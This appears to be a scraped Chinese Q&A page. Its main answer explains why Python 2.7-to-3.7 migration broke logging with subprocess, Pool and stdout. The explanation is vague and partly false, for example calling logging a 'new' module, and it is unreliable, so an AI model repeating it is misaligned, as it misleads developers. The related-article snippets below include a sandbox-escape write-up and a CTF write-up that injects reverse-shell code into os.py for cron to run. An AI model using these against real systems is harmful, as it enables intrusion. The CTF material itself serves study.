首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

为什么从Python2.7到3.7的迁移打破了我使用subprocess、Pool和stdout的日志记录?

从Python2.7到3.7的迁移打破了使用subprocess、Pool和stdout的日志记录的原因是因为在Python 3中,对于子进程和进程池的处理方式发生了一些变化,特别是在涉及到标准输出(stdout)的情况下。

在Python 2.7中,subprocess模块和multiprocessing模块的Pool类允许将子进程的输出重定向到父进程的标准输出(stdout)。这意味着可以通过捕获子进程的输出来记录日志。

然而,在Python 3中,为了改进子进程和进程池的行为,对于标准输出(stdout)的处理发生了变化。现在,子进程的输出不再直接重定向到父进程的标准输出(stdout),而是通过管道(pipe)传递给父进程。这意味着无法直接通过捕获标准输出来记录子进程的日志。

为了解决这个问题,可以使用新的logging模块来记录子进程的输出。可以通过创建一个新的日志处理器(logging handler),将子进程的输出传递给该处理器,并将处理器添加到日志记录器(logging logger)中。这样就可以将子进程的输出记录到日志文件中。

另外,对于进程池的情况,可以使用新的回调函数(callback function)来处理子进程的输出。在每个子进程完成任务后,可以通过回调函数将子进程的输出传递给父进程,并进行相应的日志记录。

总结起来,从Python2.7到3.7的迁移打破了使用subprocess、Pool和stdout的日志记录,是因为Python 3中对于子进程和进程池的处理方式发生了变化,不再直接重定向子进程的输出到父进程的标准输出(stdout)。为了解决这个问题,可以使用新的logging模块来记录子进程的输出,或者使用回调函数来处理进程池的输出。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

预估ceph的迁移数据量

引言 我们在进行 ceph 的 osd 的增加和减少的维护的时候,会碰到迁移数据,但是我们平时会怎么去回答关于迁移数据量的问题,一般来说,都是说很多,或者说根据环境来看,有没有精确的一个说法,到底要迁移多少数据...这个我以前也有思考过这个问题,当时想是对比前后的pg的分布,然后进行计算,正好在翻一些资料的时候,看到有alram写的一篇博客,alram是Inktank的程序员,也就是sage所在的公司,程序是一个python...,下面我们对内部的逻辑进行分析 代码和代码分析 代码 #!...new_osdmap_path] subprocess.call(args, stdout=FNULL, stderr=subprocess.STDOUT) args = ['osdmaptool.../osdmap 获取新的crushmap 这个是自己编辑成需要的crushmap 将新的crushmap注入到osdmap里面得到新的osdmap osdmaptool --import-crush

97020

Python 运维中使用并发

今天从大哥手里接了一个需求: 验证一下新的 Docker 镜像仓库(Docker Registry)是否迁移成功了 简单粗暴的方法就是拿到老仓库中的镜像列表(Image List),在新仓库模拟用户重新拉取...这里我们用到了一个 Python 标准库(standard module) : import subprocess 我们都知道,命令执行过程中会有标准输出(stdout)和标准错误(stderror):...,子进程会继承父进程中的所有文件描述符 最后,通过序列解包: stdout, stderr = run_cmd('uname -a') 获取标准输出和标准错误,这个方法我们后面要用到好多 我拿到镜像列表文件了...,先使用 cat imagelist | wc -l 查看了一下行数(镜像数量),4254 个,还行,不算太多 ---- 思路: 拉取列表中的镜像,拉取成功后将其删除并标记为成功 拉取失败就标记为失败和并记录错误...,它是大名鼎鼎的 gevent,为什么使用它,因为我们的任务是 I/O密集 型的,gevent 擅长处理这类任务(有兴趣可以去了解下猴子补丁) pip install gevent 我们看导入模块的代码

1.4K121
  • 解决python3中关于import的疑难杂症

    /2.7/lib/python2.7/subprocess.pyc'>, 'sysconfig': 的命名空间,记录函数的变量 global namespace:模块的命名空间,记录模块的变量(函数、类、导入的模块、模块级别的变量和常量) build-in...namespace:包含build-in function和exceptions,可被任意模块访问 import方式影响我们使用包的方式正是namespace作用的体现: from foo import...shutil:提供文件、文件夹和压缩包等处理模块 configparser:提供对特定配置的操作 logging:提供日志功能 time和datetime:提供时间相关操作 random:提供随机数操作...module代码时python解释器需要先搜索到对应的.py文件,搜索顺序为: sys.path:包含了当前脚本的路径和其他查找包(系统库、第三方库等)的路径,你也可以在代码中通过sys.path.append

    1.8K30

    FuzzManager配置与使用

    Django编写 Django manage.py migrate根据搜索到的文档,是创建数据库,数据表 cd server python manage.py migrate 报错解决:只要复制FTB目录到...参数进行编译的,下面没有报错就是成功了 不然默认x86-64是不支持的,上传其实是上传了的,只不过没有获取到crash地址(后来发现是装了gdb插件的问题) 看了下源码,不加asan应该只支持x86和arm...(cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE) stderr = result.stderr.decode().splitlines() stdout...) print(crashInfo) collector.submit(crashInfo) 但是这个现在已经不能正常运行了,而且这个是基于python3的,我写了一个python2的版本 #!...( cmdArgs, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) (stdout

    8610

    Python 简单沙盒绕过

    base64 ,实际题目中并没有用到,不过没什么影响 题目中过滤了 h、'、"和(,最终目的是要给一个QQ bot发送自己的代码让它执行,执行成功就可以得到flag 从过滤的字符来看其实本题已经算是非常简单的了...无法是想办法引入 os ,或者引入其他可以执行命令的库,方法也比较简单,比如从内置函数里寻找,或者从 object 类的所有子类里找,通过下面我给出的代码在本地先进行搜索,找到目标后再远程构造,本题甚至可以直接通过字符拼接的方式得到...每当导入新的模块时,sys.modules 都将记录这些模块。字典 sys.modules 对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典 sys.modules 将自动记录该模块。...模块允许我们启动一个新进程,并连接到它们的输入/输出/错误管道,从而获取返回值 这个模块内置的函数很多,功能也很复杂,在此我就简单介绍几个和命令执行相关的(要先 import) subprocess.run...以本地环境为例,当前的 python 进程映射到本地的 ELF 文件为 /usr/bin/python2.7,通过管道符直接将命令传递给沙盒 echo "stdout.

    1.9K10

    Python实战-使用微信遥控你的电脑

    现在都是快节奏的办公生活,大家都是同时使用手机和电脑,这就免不了使用微信与电脑之间相互传递文件,想一想你使用过多少次文件传输助手? 当你在电脑前时,手机与电脑之间相互传文件都非常简单。...原理非常简单,就是使用手机发送消息到网页版微信,网页版微信收到消息后执行相应的任务,然后把结果返回给手机端,由于网页版微信在电脑端登陆,因此可以控制电脑。...,不要发送大量无用的信息去干扰他人,我正常使用了 2 年了,主要发一些定时提醒消息,传少量文件,至今还可以正常登陆。...,比如你可以和自己聊天,记录所有收到的消息到日志,防止撤回,监控程序使用的内存等信息,参考 wxpy 的文档来定制你的需求吧。...,防止消息被撤回,保存在日志文件中 :param msg: :return: ''' logger.info(msg) 完整代码和一键运行的文件,我已生成好,放在了百度网盘中

    1.6K20

    Elasticsearch ILM 热节点迁移至冷节点 IO 打满、影响读写解决方案探讨

    3.1 解决方案1——实施分批迁移数据 实施分批迁移数据的方法,可以通过调整 Elasticsearch的索引生命周期管理(ILM)策略和使用一些自动化脚本来实现。...整个过程就像调节河流流量一样,通过控制和分批转移,确保数据流动既顺畅又高效。 步骤3. 监控和调整 持续监控Elasticsearch集群的性能,特别是IO使用情况、CPU和内存利用率。...确保在进行迁移操作时,不影响到业务的正常读写,可以考虑使用 Elasticsearch 的 Shard Allocation Awareness,确保数据节点的合理分布和资源隔离。...参考:Elasticsearch:从写入原理谈写入优化 3.4 方案四:提前获取消息!——监控与自动化管理 使用自动化工具来根据实时监控数据动态调整 ILM 策略。...iostat 获取 IO 利用率 result = subprocess.run(['iostat', '-dx', '1', '1'], stdout=subprocess.PIPE)

    12010

    发布系统有那么难么?

    必要性 如果一个上点规模的公司,技术团队有什么值得一做的系统,那么发布系统算一个。 jenkins用的好好的,为什么要自己搞呢?...构建成功后,会自动给提交打tag(也可以自定义tag)。同一个项目不允许同时打包。构建失败,可以重新进行构建,构建者会看到实时滚动的日志。...这里有两个技术点: 1) 如何获取git的提交记录并进行切换? 2) 如何显示滚动日志? 获取gitlab的提交记录 拿gitlab来说(因为用的最多)。加入gitlab的maven即可使用。...部署记录都会按照打包记录进行分组,显示在日志列中。同一次部署,如果有一台部署失败,则默认部署整体部署失败,可以从部署日志判断当前的部署状态。...脚本 发布系统的web端,不过是套层皮囊。真正去执行的,还是我们的脚本。 使用python脚本进行构建和发布,是非常方便的。有些java开发人员对脚本不是很熟,我这里挑比较重要的点说明一下。

    58430

    Python23 内置模块讲解

    向stdin发送数据,或从stdout和stderr中读取数据。可选参数input指定发送到子进程的参数。 Communicate()返回一个元组:(stdoutdata, stderrdata)。...同样,如 果希望从stdout和stderr获取数据,必须将stdout和stderr设置为PIPE。...同样,如 果希望从stdout和stderr获取数据,必须将stdout和stderr设置为PIPE。 Popen.send_signal(signal)  向子进程发送信号。...可以看到app_run;不是通过函数则为空() 12.4 logging模块涉及四个主要类 logger提供了应用程序可以直接使用的接口 handler将(logger创建的)日志记录发送到合适的目的输出...(输出到屏幕、文件、邮件等); filter提供了细度设备来决定输出哪条日志记录; formatter决定日志记录的最终输出格式。

    1.7K20

    运维效率之数据迁移自动化

    三个月的使用后overmind得到了大家的认可,并且切切实实帮助我们节约了时间,这也给予了我这个非专业开发、半吊子DBA莫大的鼓励和信心。...日常工作中经常会接到把数据库整库或单表从生产环境导入到测试环境或测试A导入到测试B等数据库、表之间的数据互导需求,这类操作没有太高技术含量还费时费力容易出错,最适合做到自动化的流程中,这便是overmind...为什么需要工单?目前的流程都是通过邮件的方式,需求邮件到DBA,DBA执行导数据的操作。自动化的流程理论来说应该从头至尾都无需人工参与,但涉及到数据安全问题,还是需要DBA确认,所以加了工单。...同时为了能够保证工单及时被处理,我们每一步都会增加邮件和IM的通知,给用户最及时的反馈。 数据迁移的工单流程很简单,用户提交工单,DBA进行审核,审核通过系统自动执行迁移操作,审核不通过流程结束。...,只能在python代码中调用shell命令,推荐使用subprocess模块,这个模块有着更加丰富的使用方法,方便获取最终的命令执行状态和输出结果,转换成完整的python类如下: from subprocess

    77340

    Locust + python + influxdb + grafana 展示性能压测QPS图表

    需求 在使用locust压测的时候,如果使用web则可以查看到QPS压测过程的曲线图。而如果使用no web模式启动,则只有一些打印的日志可以查看。...有兴趣可以参考:Matplotlib可视化查看Locust测试结果(一) 方式二,过滤locust使用no web模式下打印出来的日志 在经过多测压测测试之后,我决定直接使用locust执行过程打印的日志来生成图表...原生的locust执行日志: ? 可以从图中看到,在执行locust脚本使用no web模式的时候,执行的日志默认是INFO级别的,一般我们都是这样去使用。...此时,INFO的日志信息和locust压测执行结果混合在一起打印,这就让人很不开心了。所以必须将其分开。 首先确定我只需要的信息,如下: ? 如果压测的接口有多个,那么就会有对应的多条信息。..., shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) for line in iter(p.stdout.readline

    2.1K52

    Django项目在Linux服务器上部署和躺过的坑

    引言   在各方的推荐下,领导让我在测试环境部署之前开发的测试数据预报平台。...1.更新系统软件包 [root@localhost ~]# yum update -y 2.安装软件管理包和可能使用的依赖 [root@localhost ~]# yum -y groupinstall...=4 16 17 #日志文件路径,前提是该文件要存在,且可写 18 daemonize = /home/my_project/django_demo/run.log 19 20 #表示不记录正常信息...,只记录错误信息,否则你的日志可能很快就爆满 21 disable-logging = true 22 23 #当服务器退出的时候自动清理环境 24 vacuum = true 25 26 #进程信息文件路径...,创建文件夹collect_static mkdir collect_static 3.静态文件迁移 python manage.py collectstatic django会把所有的static文件都复制到

    2.1K20

    FrindZone writeup

    在主备服务器之间同步数据库,需要使用“DNS域传送”。域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。 若DNS服务器配置不当,可能导致匿名用户获取某个域的所有记录。...扫描目录发现几个有趣的url,login.php、dashboard.php和timestamp.php。 ? 访问这几个页面,提示如下信息。 ? ? ? 那我们使用获得的账号密码登陆看看 ?...那我们只需要将反弹shell的代码插入到os.py中,在定时任务触发时,我们便能获取到反弹shell了。...(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read...s.send(stdout_value)# close sockets.close() 因为无法使用交互式的文本编辑器,那么我们直接echo”””{代码段}”””>>os.py中就可以了 ?

    56650

    ndn挖坑记(二)

    BUG记录 如何使用ndnSIM运行自己的仿真实验 基本要点 仿真场景可以在NS-3目录下的scratch/ or src/ndnSIM/examples两个文件夹中编写,或者选择一个独立的库来编写仿真仿真场景...如果直接在上面编写,有个不好的地方就是编译速度慢和代码可能难以区分是自己写的还是模拟器自带的,所以官网上推荐是使用独立的库来编写自己的仿真场景。...话虽如此,当我使用独立库调用可视化模块的时候既不报错也不显示就有点懵逼了,所以最后我还是将代码放在ndnSIM/ns-3/scratch下了。 具体而言,将自己的文件保存为.cc放入其中即可。...BUG记录 记录一下使用第三方库时出现的错误,出现在运行阶段 File "/ndnSIM/scenario/.waf-2.0.14-a8a9afc5d151494252697f8fa4ba3fbc/waflib...wscript下的subprocess.cal中的参数,改为subprocess.call (argv,shell=True)因为默认模式下的subprocess.call不支持使用shell运行命令行

    88020
    领券